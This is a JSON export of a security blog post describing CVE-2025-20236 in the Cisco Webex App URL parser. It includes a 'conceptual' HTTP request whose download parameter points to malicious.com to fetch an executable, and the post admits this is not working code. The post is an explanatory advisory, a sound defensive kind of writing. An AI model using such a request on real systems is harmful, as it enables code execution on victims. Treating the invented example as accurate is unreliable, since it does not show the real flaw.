{"id":31356,"date":"2025-04-25T23:24:08","date_gmt":"2025-04-25T23:24:08","guid":{"rendered":""},"modified":"2025-05-29T12:36:37","modified_gmt":"2025-05-29T18:36:37","slug":"cve-2025-20236-critical-vulnerability-in-cisco-webex-app-url-parser","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-20236-critical-vulnerability-in-cisco-webex-app-url-parser\/","title":{"rendered":"<strong>CVE-2025-20236: Critical Vulnerability in Cisco Webex App URL Parser<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability, identified as CVE-2025-20236, has been discovered in the custom URL parser of Cisco&#8217;s Webex App. This vulnerability has a potential to compromise systems and leak sensitive data if exploited. The <a href=\"https:\/\/www.ameeba.com\/blog\/global-honeypot-creation-exploits-cisco-flaw-unmasking-the-vicioustrap-attack\/\"  data-wpil-monitor-id=\"50966\">flaw is significant due to the widespread use of Cisco&#8217;s<\/a> Webex App in corporate environments for virtual meetings and team collaborations. This makes it a lucrative <a href=\"https:\/\/www.ameeba.com\/blog\/lotus-panda-targets-se-asian-governments-an-in-depth-analysis-of-the-threat-and-its-implications\/\"  data-wpil-monitor-id=\"35714\">target for threat<\/a> actors aiming to infiltrate systems and gain unauthorized access to sensitive data.<br \/>\nThe <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2563-privilege-escalation-vulnerability-in-user-registration-membership-wordpress-plugin\/\"  data-wpil-monitor-id=\"35839\">vulnerability affects all users<\/a> of the Cisco Webex App, with potential repercussions extending to the organizations that they represent. The severity of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3495-critical-security-vulnerability-in-delta-electronics-commgr-due-to-insufficiently-randomized-session-ids\/\"  data-wpil-monitor-id=\"35975\">vulnerability underscores the importance of maintaining up-to-date security<\/a> measures and patches.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-20236<br \/>\nSeverity: Critical (8.8 CVSS Score)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30727-unpatched-vulnerability-in-oracle-scripting-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"35774\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-264875853\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Cisco Webex App | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43865-critical-spoofing-vulnerability-in-react-router-prior-to-version-7-5-2\/\"  data-wpil-monitor-id=\"41463\">versions prior<\/a> to the latest patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of insufficient <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30391-microsoft-dynamics-input-validation-vulnerability-leading-to-unauthorized-information-disclosure\/\"  data-wpil-monitor-id=\"42612\">input validation<\/a> in the custom URL parser of the Cisco Webex App. In a typical scenario, an attacker persuades a user to click on a maliciously crafted meeting invite link. This link, when clicked, triggers the download of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30510-arbitrary-file-upload-vulnerability\/\"  data-wpil-monitor-id=\"36386\">arbitrary files<\/a> onto the user&#8217;s device. The downloaded files contain malicious code that, when executed, allows the attacker to run <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29209-unauthenticated-arbitrary-command-execution-in-totolink-x18\/\"  data-wpil-monitor-id=\"37411\">arbitrary commands<\/a> with the privileges of the targeted user.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2265428953\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>While this is not a working code, the following example illustrates how a malicious HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php\/\"  data-wpil-monitor-id=\"36041\">request might be crafted to exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/invite?meetingID=123456&amp;download=http:\/\/malicious.com\/arbitrary_file.exe HTTP\/1.1\nHost: webex.com\nUser-Agent: Mozilla\/5.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: keep-alive\nReferer: http:\/\/malicious.com\/invite_link\nUpgrade-Insecure-Requests: 1<\/code><\/pre>\n<p>In this example, the malicious URL embedded in the `download` parameter triggers the download and execution of an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-40071-arbitrary-file-upload-vulnerability-in-sourcecodester-online-id-generator-system-1-0\/\"  data-wpil-monitor-id=\"36569\">arbitrary file<\/a> from the attacker&#8217;s server when the user clicks on the meeting invite link.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/unmasking-the-latest-google-user-scams-a-deep-dive-into-cybersecurity-threats-and-mitigation\/\"  data-wpil-monitor-id=\"38230\">Users are advised to apply the latest<\/a> vendor patch immediately to fix this vulnerability. As a temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to block <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32958-critical-adept-language-vulnerability-allowing-malicious-code-execution\/\"  data-wpil-monitor-id=\"38229\">malicious traffic and prevent exploitation of this vulnerability<\/a>. Regularly updating <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20188-cisco-ios-xe-software-for-wireless-lan-controllers-security-vulnerability\/\"  data-wpil-monitor-id=\"44065\">software and maintaining robust security<\/a> measures can minimize the risk of future exploits.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability, identified as CVE-2025-20236, has been discovered in the custom URL parser of Cisco&#8217;s Webex App. This vulnerability has a potential to compromise systems and leak sensitive data if exploited. The flaw is significant due to the widespread use of Cisco&#8217;s Webex App in corporate environments for virtual meetings and team collaborations. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[96],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-31356","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-cisco"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31356","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=31356"}],"version-history":[{"count":13,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31356\/revisions"}],"predecessor-version":[{"id":45615,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31356\/revisions\/45615"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=31356"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=31356"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=31356"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=31356"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=31356"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=31356"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=31356"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=31356"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=31356"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}